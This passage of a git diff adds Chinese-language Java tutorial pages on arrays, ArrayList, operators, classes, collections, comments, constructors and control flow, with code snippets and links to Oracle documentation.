+这是合乎逻辑的，你为什么要私人上课？没有其他类可以使用它。但有时候，你可以将一个类嵌入到另一个类中。这些特殊的类， `inner classes` ，可以设置为private或protected，以便只有它的周围类可以访问它：
+
+```java
+public class Car { 
+    private String brand; 
+    private Engine engine; 
+    // ... 
+    private class Engine { 
+        // ... 
+    } 
+ } 
+```
+
+在上面的示例中，只有`Car`类可以使用`Engine`类。在某些情况下，这可能很有用。
+
+其他类永远不能设置为`protected`或`private` ，因为它没有任何意义。 `protected`访问修饰符用于使`package-private`但具有子类可访问的选项。在java中没有诸如“子包”或“包继承”之类的概念。
+
+### 来源
+
+[1.关于Access Modifiers的Oracle文档](https://docs.oracle.com/javase/tutorial/java/javaOO/accesscontrol.html "Oracle Docs")
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/arraylist/index.md b/client/src/guide/chinese/java/arraylist/index.md
new file mode 100644
index 0000000000..6d443e8c8f
--- /dev/null
+++ b/client/src/guide/chinese/java/arraylist/index.md
@@ -0,0 +1,23 @@
+---
+title: ArrayList
+localeTitle: 数组列表
+---
+# 数组列表
+
+ArrayList是_Collection框架的一部分_ 。
+
+_Collection框架_包含所有可以包含一组值的接口和类（类似于[数组](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/arrays.html) ）。 **ArrayList**是此层次结构中的一个类，称为_**Collection对象**_ 。它实现了_List_接口，后者又实现了_Collection_接口。可以在`java.util`包中找到此_Collection_接口。您需要导入此包。
+
+ArrayList是一个用于创建动态数组的类。它比常规数组慢，但允许大量操作。它可以初始化为具有特定大小，或者默认大小为10个单位。
+
+`java ArrayList<String> names = new ArrayList<>(); ArrayList<Integer> ages = new ArrayList<>(5);`
+
+在上面的代码片段中，角度breacket `<>`采用通用数据类型作为参数，指定ArrayList中元素的数据类型。第一个ArrayList `names`被指定为包含_String_元素。因此，只允许包含String元素。它的大小未指定，因此它的默认大小为10.第二个ArrayList `ages`指定它只保存整数。但是ArrayList不能保存基元，它只保存对象。因此，为了使它存储整数，浮点数等，我们可以使用包装类。 `names`的指定大小为5。
+
+由于ArrayList实现了_List_ ，因此可以使用以下语法创建ArrayList： `java List<Integer> students = new ArrayList<>();`
+
+ArrayList是动态的，这意味着它会在需要时增大，如果从中删除元素，它的大小也会缩小。这使得它比普通数组更好用。
+
+ArrayList允许我们随机访问元素。 ArrayList在很多方面类似于_Vector_ 。但它比矢量更快。需要注意的主要事项是 - 矢量比数组快，但ArrayLists不是。
+
+因此，当选择两者之间时 - 如果速度至关重要，则应考虑Vector，否则ArrayLists在存储大量元素和有效访问时更好。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/arrays/index.md b/client/src/guide/chinese/java/arrays/index.md
new file mode 100644
index 0000000000..838dc5662d
--- /dev/null
+++ b/client/src/guide/chinese/java/arrays/index.md
@@ -0,0 +1,186 @@
+---
+title: Arrays
+localeTitle: 数组
+---
+# 排列
+
+Array是在顺序存储器地址中保存的具有相似数据类型（允许数据类型形式的基元和引用）的值（或对象）的集合。 Array用于存储类似数据类型的集合。 数组总是从索引0开始，并实例化为一定数量的索引。 数组中的所有变量必须是同一类型，在实例化时声明。
+
+**句法：**
+
+```java
+dataType[] arrayName;   // preferred way 
+```
+
+这里， `java datatype[]`描述了在它之后声明的所有变量将被实例化为指定数据类型的数组。因此，如果我们想要实例化更多类似数据类型的数组，我们只需要在指定的`java arrayName`之后添加它们（不要忘记仅通过逗号分隔它们）。下一节将给出一个例子以供参考。
+
+```java
+dataType arrayName[];  //  works but not preferred way 
+```
+
+这里， `java datatype`仅描述了属于该数据类型后所声明的变量。此外，变量名后面的`java []`描述变量是指定数据类型的数组（而不仅仅是该数据类型的值或对象）。因此，如果我们想要实例化更多相似数据类型的数组，我们将在已经指定的数组之后添加变量名称，用逗号分隔，每次我们必须在变量名后添加`java []` ，否则变量将是实例化为普通的值存储变量（不是数组）。为了更好地理解，下一节将给出一个示例。
+
+## 上述语法的代码片段：
+
+```java
+double[] list1, list2; // preferred way 
+```
+
+上面的代码片段实例化了两个双重类型名称list1和list2的数组。
+
+```java
+double list1[], list2; // works but not preferred way 
+```
+
+上面的代码片段是一个数组类型的数组double，名为list1，数据类型为double的简单变量，名为list2（不要与名称**list2**混淆。变量名称与变量类型无关）。
+
+注意：样式`double list[]`不是首选，因为它来自C / C ++语言，并且在Java中被采用以适应C / C ++程序员。另外它更具可读性：你可以读到它是一个“双数组命名列表”而不是“一个双重调用列表是一个数组”
+
+## 创建数组：
+
+```java
+dataType[] arrayName = new dataType[arraySize]; 
+```
+
+## 上述语法的代码片段：
+
+```java
+double[] List = new double[10]; 
+```
+
+## 另一种创建数组的方法：
+
+```java
+dataType[] arrayName = {value_0, value_1, ..., value_k}; 
+```
+
+## 上述语法的代码片段：
+
+```java
+double[] list = {1, 2, 3, 4}; 
+ 
+ The code above is equivalent to: 
+ double[] list = new double[4]; 
+ *IMPORTANT NOTE: Please note the difference between the types of brackets 
+ that are used to represent arrays in two different ways. 
+```
+
+## 访问数组：
+
+```java
+arrayName[index]; // gives you the value at the specified index 
+```
+
+## 上述语法的代码片段：
+
+```java
+System.out.println(list[1]); 
+```
+
+输出：
+```
+2.0 
+```
+
+## 修改数组：
+
+```java
+arrayName[index] = value; 
+```
+
+注意：初始化后，您无法更改阵列的大小或类型。 注意：您可以像这样重置数组
+
+```java
+arrayName = new dataType[] {value1, value2, value3}; 
+```
+
+## 数组大小：
+
+可以使用“length属性”找到数组中的元素数量。这里应该注意， `java length`是每个数组的**属性** ，即存储变量长度的变量名。不能将它与数组**方法**混淆，因为该名称与String类对应的`java length()`方法相同。
+
+```java
+int[] a = {4, 5, 6, 7, 8}; // declare array 
+ System.out.println(a.length); //prints 5 
+```
+
+## 上述语法的代码片段：
+
+```java
+list[1] = 3; // now, if you access the array like above, it will output 3 rather than 2 
+```
+
+_代码示例：_
+
+```java
+int[] a = {4, 5, 6, 7, 8}; // declare array 
+ for (int i = 0; i < a.length; i++){ // loop goes through each index 
+    System.out.println(a[i]); // prints the array 
+ } 
+```
+
+输出：
+
+```java
+    4 
+    5 
+    6 
+    7 
+    8 
+```
+
+### 多维数组
+
+二维数组（2D数组）可以被认为是具有行和列的表。虽然这种表示只是一种可视化阵列的方法，可以更好地解决问题。这些值实际上仅存储在顺序存储器地址中。
+
+```java
+int M = 5; 
+ int N = 5; 
+ double[][] a = new double [M][N]; //M = rows N = columns 
+ for(int i = 0; i < M; i++) { 
+    for (int j = 0; j < N; j++) { 
+        //Do something here at index 
+    } 
+ } 
+```
+
+这个循环将执行M ^ N次并将构建此：
+
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]
+
+类似地，也可以制作3D阵列。它可以被视为长方体而不是矩形（如上所示），被分成较小的立方体，每个立方体存储一些值。它可以初始化如下：
+
+```java
+int a=2, b=3, c=4; 
+ int[][][] a=new int[a][b][c]; 
+```
+
+以类似的方式，可以是他/她希望的多个维度的阵列，但是难以以特定方式可视化多于3个维度的阵列。
+
+### 锯齿状阵列
+
+锯齿状数组是多维数组，具有一定数量的行但具有不同数量的列。锯齿状数组用于节省阵列的内存使用。这是一个代码示例：
+
+```java
+int[][] array = new int[5][]; //initialize a 2D array with 5 rows 
+ array[0] = new int[1]; //creates 1 column for first row 
+ array[1] = new int[2]; //creates 2 columns for second row 
+ array[2] = new int[5]; //creates 5 columns for third row 
+ array[3] = new int[5]; //creates 5 columns for fourth row 
+ array[4] = new int[5]; //creates 5 columns for fifth row 
+```
+
+输出：
+
+\[0\]  
+\[0 | 1\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]  
+\[0 | 1 | 2 | 3 | 4\]
+
+#### 更多信息：
+
+*   来源： [Java Arrays](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/arrays.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/basic-operations/bitwise-operators/index.md b/client/src/guide/chinese/java/basic-operations/bitwise-operators/index.md
new file mode 100644
index 0000000000..afec69d430
--- /dev/null
+++ b/client/src/guide/chinese/java/basic-operations/bitwise-operators/index.md
@@ -0,0 +1,61 @@
+---
+title: bitwise operator example
+localeTitle: 按位运算符示例
+---
+# 按位运算符
+
+## 真相表
+
+![truth table](https://4.bp.blogspot.com/-0KPDI41veH0/V-OtObm_UWI/AAAAAAAAAso/CkTS0zUMGKIjlE3gUD0fMhmp-B0zcfBmACLcB/s1600/Bitwise-truthtable-Javaform.jpg "真相表")
+
+按位运算符与逻辑运算符类似，不同之处在于它们的工作规模较小 - 数据的二进制表示。任何数据都可以转换为二进制等价物。虽然二元运算符在二进制级别工作，但它们仅在正常的十进制值之间运行。
+
+## 按位运算符的类型
+
+### 按位OR
+
+按位OR是二元运算符（对两个操作数进行操作）。它用|表示。 |运算符比较两个操作数的相应位。如果其中一个位为1，则给出1.如果不是，则给出0。
+
+### 按位AND
+
+按位AND是二元运算符（对两个操作数进行操作）。用＆表示。 ＆运算符比较两个操作数的相应位。如果两个位都是1，则它给出1.如果其中一个位不是1，则它给出0。
+
+### 按位补充
+
+按位补码是一元运算符（仅适用于一个操作数）。它用〜表示。 〜运算符反转位模式。它使每0到1，每1到0。
+
+### 按位异或
+
+Bitwise XOR是一个二元运算符（在两个操作数上运行）。它用^表示。 ^运算符比较两个操作数的相应位。如果相应的位不同，则给出1.如果相应的位相同，则给出0。
+
+### 左移
+
+左移位运算符<<将位模式向左移位一定数量的指定位，并且零位移位到低位位置。
+
+### 右转
+
+右移位运算符>>将位模式向右移位一定数量的指定位。如果该数字是2的补码有符号数，则符号位移入高位位置。
+
+### 无符号右移
+
+无符号右移运算符>>>将零移至最左侧位置。
+
+### 示例按位运算符：
+
+```java
+    int a = 60;          /* 60 = 0011 1100 represents 60 in binary*/ 
+    int b = 13;          /* 13 = 0000 1101 */ 
+    int c = 0; 
+ 
+    c = a & b;        /* 12 = 0000 1100 */ 
+    c = a | b;        /* 61 = 0011 1101 */ 
+    c = a ^ b;        /* 49 = 0011 0001 */ 
+    c = ~a;           /*-61 = 1100 0011  :Invert all bits */ 
+ 
+    // shift operators : zeros are shifted in to replace the discarded bits 
+    c = a << 2;       /* 240 = 1111 0000 : Shift left 2 bits*/ 
+    c = a >> 2;       /* 15 = 1111 */ 
+    c = a >>> 2;      /* 15 = 0000 1111 : Zero fill right shift*/ 
+```
+
+**有关更多信息：请** [单击此处](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/op3.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/basic-operations/index.md b/client/src/guide/chinese/java/basic-operations/index.md
new file mode 100644
index 0000000000..9914a624d1
--- /dev/null
+++ b/client/src/guide/chinese/java/basic-operations/index.md
@@ -0,0 +1,44 @@
+---
+title: Basic Operations
+localeTitle: 基本操作
+---
+# 基本操作
+
+Java支持对变量进行以下操作：
+
+*   **算术** ： `Addition (+)` ， `Subtraction (-)` ， `Multiplication (*)` ， `Division (/)` ， `Modulus (%)` ， `Increment (++)` ， `Decrement (--)` 。
+*   **字符串连接** ： `+`可用于字符串连接，但减法`-`在字符串上不是有效操作。
+*   **关系** ： `Equal to (==)` ， `Not Equal to (!=)` ， `Greater than (>)` ， `Less than (<)` ， `Greater than or equal to (>=)` ， `Less than or equal to (<=)`
+*   **按位** ： `Bitwise And (&)` ， `Bitwise Or (|)` ， `Bitwise XOR (^)` ， `Bitwise Compliment (~)` `Zero fill right shift (>>>)` `Bitwise Compliment (~)` ， `Left shift (<<)` ， `Right Shift (>>)` ， `Zero fill right shift (>>>)`
+*   **逻辑** ： `Logical And (&&)` ， `Logical Or (||)` ， `Logical Not (!)`
+*   **赋值** ： `=` ， `+=` ， `-=` ， `*=` ， `/=` ， `%=` ， `<<=` ， `>>=` ， `&=` ， `^=` ， `|=`
+*   **其他** ： `Conditional/Ternary(?:)` ， `instanceof`
+
+虽然大多数操作都是不言自明的，但条件（三元）算子的工作原理如下：
+
+`expression that results in boolean output ? return this value if true : return this value if false;`
+
+例： 真实条件：
+
+```java
+    int x = 10; 
+    int y = (x == 10) ? 5 : 9; // y will equal 5 since the expression x == 10 evaluates to true 
+```
+
+错误条件：
+
+```java
+    int x = 25; 
+    int y = (x == 10) ? 5 : 9; // y will equal 9 since the expression x == 10 evaluates to false 
+```
+
+运算符的实例用于类型检查。它可用于测试对象是否是类，子类或接口的实例。一般格式 - _类/子类/接口的对象**实例**_
+
+这是一个程序来说明instanecof运算符： \`\`\`的Java Person obj1 = new Person（）; 人obj2 =新男孩（）;
+```
+    // As obj is of type person, it is not an 
+    // instance of Boy or interface 
+    System.out.println("obj1 instanceof Person: " +  (obj1 instanceof Person)); /*it returns true since obj1 is an instance of person */ 
+```
+
+\`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/build-tools/index.md b/client/src/guide/chinese/java/build-tools/index.md
new file mode 100644
index 0000000000..4260f44057
--- /dev/null
+++ b/client/src/guide/chinese/java/build-tools/index.md
@@ -0,0 +1,25 @@
+---
+title: Build Tools
+localeTitle: 构建工具
+---
+# 构建工具
+
+Java构建工具允许您自定义构建，以执行诸如指定需要包含在jar中的文件，从Internet添加依赖项以及自动执行测试或github提交等任务的操作。构建工具还可以轻松地模块化您的项目。流行的构建工具包括[Gradle](https://gradle.org/)和[Maven](https://maven.apache.org/)
+
+## 摇篮
+
+Gradle构建脚本可以用Groovy或Kotlin编写，并且可以高度自定义。大多数项目使用Gradle包装器，允许它们在任何系统上构建，即使没有安装Gradle也是如此。 Gradle是Android开发的推荐构建工具。
+
+## Maven的
+
+Maven构建文件是用XML编写的。与Gradle一样，许多插件都是为Maven编写的，用于自定义构建，但Maven不是可自定义的，因为您无法直接与Maven API交互。
+
+### 更多信息：
+
+https://gradle.org/
+
+https://en.wikipedia.org/wiki/Gradle
+
+https://maven.apache.org/what-is-maven.html
+
+https://en.wikipedia.org/wiki/Apache\_Maven
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/built-in-functions/index.md b/client/src/guide/chinese/java/built-in-functions/index.md
new file mode 100644
index 0000000000..fd1c7367a2
--- /dev/null
+++ b/client/src/guide/chinese/java/built-in-functions/index.md
@@ -0,0 +1,14 @@
+---
+title: Built-In Functions
+localeTitle: 内置功能
+---
+# 内置功能
+
+Java还有许多内置或预定义的函数，它们通常存储在java.lang和java.io包中， 它们会在BlueJ等编辑器中自动导入，或者可以使用以下语法导入 -
+
+```java
+import java.lang.*; 
+ import java.io.*; 
+```
+
+这些功能包括使其他长期和艰巨任务更容易完成的功能。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/classes-and-objects/index.md b/client/src/guide/chinese/java/classes-and-objects/index.md
new file mode 100644
index 0000000000..7ea771aa88
--- /dev/null
+++ b/client/src/guide/chinese/java/classes-and-objects/index.md
@@ -0,0 +1,85 @@
+---
+title: Classes and Objects
+localeTitle: 类和对象
+---
+# 类和对象
+
+类是变量和操作的组。一个类可以有变量，方法（或函数）和构造函数（或者用于启动的方法，稍后会有更多内容！）。
+
+类可以包含以下任何变量类型。
+
+*   类变量：这些是使用static关键字在任何方法之外在类定义中声明的变量。类变量在类的所有实例之间共享。类变量也称为静态变量，它们在编译类时只初始化一次，因此只有一个副本可用于所有实例。
+*   实例变量：与类变量的不同之处在于，实例变量在类构造函数中初始化，并且不在所有对象之间共享。在实例化时，创建实例变量的新副本。
+
+```java
+public class Example { 
+ 
+    private static int myVar = 1; // Class Variable 
+ 
+    private int mySecondVar; // Instance Variable 
+    Example(int mySecondVar) { 
+            this.mySecondVar = mySecondVar; // An instance variable must be initialized inside the constructor 
+```
+
+将`Class`视为创建具体事物的蓝图。一个`Class`告诉你如何`instantiated`所述类的`object`的'what'和'how'。从本质上讲，它定义了以下情况下汽车的`properties` （比如颜色，发动机容量）和`behavior` （停止，加速，换档，鸣喇叭等）。
+
+对象是类的_实例_ 。所有对象都是某个类的实例。想象一个类是一个“模板”，每个Object都会从中复制。在创建Object时，它基本上会在类的蓝图上创建一个新对象。现在让我们在一小段代码中看一下：
+
+```java
+// Car class 
+ public class Car { 
+    // car name 
+    private String name; 
+ 
+    // car manufacturer name 
+    private String manufacturerName; 
+ 
+    // constructor 1 
+    public Car() { 
+    } 
+ 
+    // constructor 2 
+    public Car(String name, String man) { 
+        this.name = name; 
+        this.manufacturerName = man; 
+    } 
+ 
+    // getter name method 
+    public String getName() { 
+        return name; 
+    } 
+ 
+    // getter manufacture method 
+    public String getManufacturerName() { 
+        return manufacturerName; 
+    } 
+ 
+    //setter name method 
+    public void setName(String name){ 
+        this.name = name; 
+    } 
+ 
+    //setter manufacture method 
+    public void setManufacture(String man){ 
+        this.manufacturerName = man; 
+    } 
+ } 
+ 
+ // sample code 
+ 
+ Car modelS = new Car("Model S","Tesla"); 
+ // prints Tesla Model S 
+ System.out.println("Full Car Model S= " + modelS.getManufacturerName() + " : " + modelS.getName()); 
+ 
+ Car modelX = new Car(); 
+ modelX.setName("Model X"); 
+ modelX.setManufacture("BMW"); 
+ // prints Tesla Model X 
+ System.out.println("Full Car Model X= " + modelX.getManufacturerName() + " : " + modelX.getName()); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJZP/0)
+
+因此， `Car`是一个类，它具有字段或属性`name`和`manufacturerName` 。 `modelS`是`Car`类的一个对象。因此`modelS`也具有相同的属性和方法。
+
+确保对象的“信息”（在本例中为`manufacturerName`变量的`name`是私有的并且只能通过这些getter和setter访问是非常标准的。这可以防止调试涉及对象成员变量的代码的问题。如果成员变量是公共的，并且由于任何原因程序崩溃，您可能会得到一个相当复杂的堆栈跟踪，可能很难指出错误。保持变量私有，并且只能通过getter和setter访问，这将简化此错误消息。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/collections/index.md b/client/src/guide/chinese/java/collections/index.md
new file mode 100644
index 0000000000..9a17bce751
--- /dev/null
+++ b/client/src/guide/chinese/java/collections/index.md
@@ -0,0 +1,125 @@
+---
+title: Collections
+localeTitle: 集合
+---
+# 集合
+
+Java中的Collection是一组可以排序（LinkedList）或无序（Set）的对象。 Collection接口位于层次结构的顶部，所有其他类和接口都从此接口扩展。它位于java.util包中。
+
+Collection接口还扩展了Iterable接口，这意味着java中的每个集合都必须是可迭代的。这反过来意味着for-each循环可用于按顺序获取它们。
+
+```java
+public interface Collection<E> extends Iterable<E> 
+```
+
+此接口提供的一些最常用的方法是：
+
+```java
+boolean add(E e) // Adds the specified element to the collection if not present and returns true if this collection changed. 
+ 
+ void clear() // Removes all the elements from the collection. 
+ 
+ boolean contains(Object o) // Returns true if the specified element is in the collection else false 
+ 
+ boolean isEmpty() // Returns true if the collection is empty else false 
+ 
+ boolean remove(Object o) // Removes the specifies element and return true on successful removal else false. 
+ 
+ int size() // Returns number of items in the collection. 
+```
+
+这些和其他各种方法必须由实现Collection接口的任何类实现。
+
+## 接口扩展Collection接口
+
+扩展集合接口的其他重要接口是：
+
+组： 仅包含唯一元素的集合。
+
+队列： 实现队列行为，其中元素仅在开头添加并从末尾删除。
+
+列表： 此集合处理对象的列表/序列。
+
+这四个接口（Collection，Set，Queue，List）以及SortedSet，Deque和NavigableSet构成了集合Collection层次结构。
+
+# LinkedList类
+
+LinkedList是最重要的Collection类之一，它提供了双向链表实现。它实现了List，Deque，Cloneable和Serializable接口。
+
+**创建LinkedList**
+
+```java
+LinkedList<Integer> intList = new LinkedList<Integer>(); // Creates a new list of Integer objects. 
+```
+
+您还可以创建任何其他对象类型的列表。例如。
+
+```java
+LinkedList<String> stringList = new LinkedList(); 
+ 
+ LinkedList<LinkedList<Integer>> listOfList = new LinkedList(); 
+```
+
+注意：自JDK 1.5以来，Java中的所有集合都已转换为泛型类型
+
+**将元素添加到列表中**
+
+```java
+intList.add(new Integer(1)); // Add 1 to the end. 
+ 
+ intList.add(2); // This works as Java provides autoboxing and unboxing of primitive datatypes and their respective wrapper classes 
+ 
+ intList.addFirst(3); // Add to the beginning of the list 
+ 
+ intList.addLast(2); // Add to the end of the list 
+ 
+ intList.add(2, 5); // Add element 5 at index 2 
+```
+
+让我们打印清单
+
+```java
+System.out.println(intList); // toString() method is automatically called on the list 
+```
+
+输出： \[3,1,5,2,2\]
+
+**从列表中检索元素**
+
+```java
+intList.get(3); // Returns element at index 3 ie 2 
+ 
+ intList.getFirst(); // Get the first element ie 3 
+ 
+ intList.getLast(); // Returns last element ie 2 
+ 
+ intList.indexOf(2); // Returns first occured index of 2 ie 3 
+ 
+ intList.lastIndexOf(2); // Returns last occured index of 2 ie 4 
+```
+
+**LinkedList作为堆栈**
+
+由于Java没有提供单独的
+
+```java
+intList.push(5); // Add element to the end of list. Works same as addLast() 
+ 
+ intList.pop(); // Removes and returns the last element of the list. 
+```
+
+**从列表中删除元素**
+
+```java
+intList.remove(3); // Removes the element at index 3 of the list 
+ 
+ intList.removeFirst(); // Removes first element of the list 
+ 
+ intList.removeLast(); // Removes last element of the list 
+```
+
+注意：上述所有用于删除和获取元素的方法都会在空列表中返回NoSuchElementException。
+
+#### 更多信息：
+
+*   来源： [Java文档](https://docs.oracle.com/javase/9/docs/api/overview-summary.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/comments-in-java/index.md b/client/src/guide/chinese/java/comments-in-java/index.md
new file mode 100644
index 0000000000..64c19c58d1
--- /dev/null
+++ b/client/src/guide/chinese/java/comments-in-java/index.md
@@ -0,0 +1,64 @@
+---
+title: Comments in Java
+localeTitle: Java中的评论
+---
+## Java中的评论
+
+java中的注释就像现实生活中用于显示一些信息的便利贴，其他程序员或开发人员可以阅读和理解这些信息。
+
+最好在代码中添加注释，尤其是在与团队或公司合作时。这有助于未来的开发人员或团队成员在查看代码时更轻松地了解正在发生的事情。注释使您的代码更整洁有序。
+
+编译器和解释器不执行Java注释。
+
+### Java注释的类型
+
+#### 1.单行注释
+
+要创建单行注释，只需在文本前添加两个`//`正斜杠。
+
+```java
+// This is how single line comment looks like 
+```
+
+#### 2.多行注释
+
+要创建多行注释包装`/*`行之间的行到这里`*/`
+
+```java
+public class MyFirstJava { 
+    public static void main(String[] args) { 
+    /* This Java Code 
+       Prints out "Hello world" 
+       and you are looking at a multi line comment 
+    */ 
+        System.out.println("Hello World"); 
+    } 
+ } 
+```
+
+#### 3.文件评论
+
+Javadoc工具使用文档注释来创建代码文档。文档注释开发人员使用注释来记录代码，例如类的功能或方法的功能。这是由javadoc工具使用的，它将编译一组预先格式化的html文件，其中包含注释中可用的所有信息。
+
+```java
+/** 
+ * The Following Java program displays a random between 0 - 50 
+ * Most Developer dont document simple program like this 
+ * 
+ * @author      Quincy Larson 
+ * @version     1.0 
+ */ 
+ 
+ public class RandomNumbers{ 
+    public static void main(String[] args) { 
+        int random = (int)(Math.random() * 50 + 1); 
+        System.out.println("Hello World"); 
+    } 
+ } 
+```
+
+#### 更多信息：
+
+*   [Java资源](http://guide.freecodecamp.org/java/resources/)
+    
+*   [编译的Javadoc示例](https://docs.oracle.com/javase/8/docs/api/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/constructors/index.md b/client/src/guide/chinese/java/constructors/index.md
new file mode 100644
index 0000000000..e81040ee7e
--- /dev/null
+++ b/client/src/guide/chinese/java/constructors/index.md
@@ -0,0 +1,181 @@
+---
+title: Constructors
+localeTitle: 构造函数
+---
+如果一个对象从一个类复制，那有什么意义呢？我应该能够将数据存储在其中吗？
+
+那时我们使用**getter** （例如，getName（））/ **setter** （例如，setName（））方法，或者在本例中使用构造函数来初始化类。基本上，每个Java类都有一个构造函数，它是在初始化类的任何对象时首先调用的方法。可以把它想象成一些入门代码。
+
+当您编写没有任何构造函数的类时，Java编译器会创建一个默认构造函数：
+
+```java
+public class Car { 
+    private String name; 
+ } 
+ 
+ Car modelS = new Car(); 
+```
+
+这种没有参数的初始化是一种调用默认构造函数的方法。您也可以使用这种方式编写默认构造函数：
+
+```java
+public class Car { 
+    private String name; 
+ 
+    // User Specified Default Constructor 
+    public Car() { 
+        name = "Tesla"; 
+    } 
+ } 
+```
+
+然后，当调用`new Car()` ，变量`name`自动初始化为Carla对象的该实例的“Tesla”。
+
+显然，构造函数与它们完全一样：它们用于`construct` ie，实例化特定类的对象。  
+构造函数看起来类似于方法声明，但在它们的意义上略有不同：
+
+1.  被命名与该类完全相同。
+2.  没有返回类型。
+
+因此，使用`constructors`的目的是提供：
+
+1.  一种实例化对象的方法。
+2.  为对象属性提供初始值。
+3.  控制对象的创建方式。
+
+让我们看另一个例子。比如说，本田（汽车制造商）希望所有汽车都被命名为`Honda <a name>` 。为了强制执行此操作，我们可以使用如下类来表示：
+
+```java
+public class Car { 
+ 
+    private String name; 
+ 
+    // Constructor. 
+    public Car(String model){ 
+        this.name = "Honda " + model; 
+    } 
+ 
+    public String getName(){ 
+        return this.name; 
+    } 
+ 
+    public static void main(String args[]){ 
+        Car car = new Car("Civic"); 
+        System.out.println( car.getName() ); 
+    } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CTJ4/1)
+
+请注意，当我们以这种方式编写构造函数（即提供参数）时，我们控制（第3点） `Car`实例的创建方式。简而言之，我们在这个例子中说， **你必须提供一个模型名称才能获得Car类的实例** 。
+
+为什么这很重要？有时您希望在整个应用程序中使用`one and only one`类的实例。实现此目的的一种方法是使用`private`构造函数。
+
+假设您需要一个班级来代表银行。您不希望人们创建`Bank`实例。所以，你设计你的课程：
+
+```java
+public class Bank { 
+ 
+    private static Bank instance; 
+ 
+    private Bank(){ 
+    } 
+ 
+    public static Bank getInstance(){ 
+        if(null == instance){ 
+            instance = new Bank(); 
+        } 
+        return instance; 
+    } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CTJz/0)
+
+请注意，构造函数是`private` 。这强制了这样一个事实，即不允许其他人创建银行的实例。  
+事实上，如果在另一个班级，你尝试：
+
+```java
+Bank account = new Bank(); // Throws a compilation error: Bank() has private access in Bank. 
+```
+
+因此，获取实例访问权限的唯一方法是使用`Bank.getInstance()` 。这样的实例称为`Singleton`因为在应用程序的整个生命周期中，您只能获得一个实例（每个VM都是精确的）。
+
+一个类中可以有许多构造函数。但它们应该在方法参数上有所不同。这是构造函数重载。确切地说，我们说当有两个或多个具有相同名称但方法参数不同的构造函数时，会发生构造函数重载。因此，这两个函数具有不同的方法签名，并且被Java视为完全不同的构造函数。例如：
+
+```java
+public class Car { 
+ 
+    private String name; 
+    private String carType; 
+ 
+    // Constructor. 
+    public Car(){ 
+        this.name = "No Name"; 
+        this.carType = "No Type"; 
+    } 
+    public Car(String model){ 
+        this.name = "Honda " + model; 
+    } 
+ 
+    public Car(String model, String carType){ 
+        this.name = model; 
+        this.carType = carType; 
+    } 
+ 
+    public String getName(){ 
+        return this.name; 
+    } 
+ 
+    public String getCarType(){ 
+        return this.name; 
+    } 
+ 
+    public static void main(String args[]){ 
+        Car car = new Car("Civic"); 
+        System.out.println( car.getName() ); 
+ 
+        // Other Way To Initialize 
+        Car car = new Car("Civic","Sedan"); 
+        System.out.println( car.getName() + " "+ car.getCarType() ); 
+ 
+    } 
+ } 
+```
+
+因此，获取实例访问权限的唯一方法是使用`Bank.getInstance()` 。这样的实例称为`Singleton`因为在应用程序的整个生命周期中，您只能获得一个实例（每个VM都是精确的）。
+
+## 复制构造函数
+
+复制构造函数是一个构造函数，它通过使用先前创建的同一类的对象初始化它来创建对象。复制构造函数用于 -
+
+1.  从另一个相同类型的对象初始化。
+2.  复制对象以将其作为参数传递给函数。
+3.  复制对象以从函数返回它。 这是一个程序，它显示了复制构造函数的简单用法：
+
+```Java
+class Complex { 
+ 
+    private double re, im; 
+ 
+    // A normal parametrized constructor 
+    public Complex(double re, double im) { 
+        this.re = re; 
+        this.im = im; 
+    } 
+ 
+    // Copy constructor 
+    Complex(Complex c) { 
+        System.out.println("Copy constructor called"); 
+        re = c.re; 
+        im = c.im; 
+    } 
+ 
+    } 
+ } 
+```
+
+[运行完整的代码](https://repl.it/MwnJ)
+
+// ##构造函数链接
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/control-flow/index.md b/client/src/guide/chinese/java/control-flow/index.md
new file mode 100644
index 0000000000..fac716012c
--- /dev/null
+++ b/client/src/guide/chinese/java/control-flow/index.md
@@ -0,0 +1,111 @@
+---
+title: Control Flow
+localeTitle: 控制流
+---
+# 控制流
+
+控制流语句正是该术语的含义。它们是基于决策，循环和分支改变执行流程的语句，以便程序可以有条件地执行代码块。
+
+首先，Java具有以下用于流控制的构造：
+
+*   `if`
+    
+    ```java
+    if( <expression that results in a boolean> ){ 
+        //code enters this block if the above expression is 'true' 
+     } 
+    
+    ```
+    
+*   `if...else`
+    
+    ```java
+    if( <expression that results in a boolean> ){ 
+        //execute this block if the expression is 'true' 
+     } else{ 
+        //execute this block if the expression is 'false' 
+     } 
+    
+    ```
+    
+*   `switch`
+    
+
+当有多个值和要检查的案例时，Switch是`if...else`构造的替代方案。
+
+```java
+switch( <integer / String / Enum > ){ 
+    case <int/String/Enum>: 
+        <statements> 
+        break; 
+    case <int/String/Enum>: 
+        <statements> 
+        break; 
+    default: 
+        <statements> 
+ } 
+```
+
+注：程序流程`falls through`下一`case` ，如果`break`语句丢失。例如，假设你对办公室里的每个人都说标准的“你好”，但对于坐在你旁边的女孩来说，你对你的老板说得好脾气。表示方式如下：
+
+```java
+switch(person){ 
+    case 'boss': 
+        soundGrumpy(); 
+        break; 
+    case 'neighbour': 
+        soundExtraNice(); 
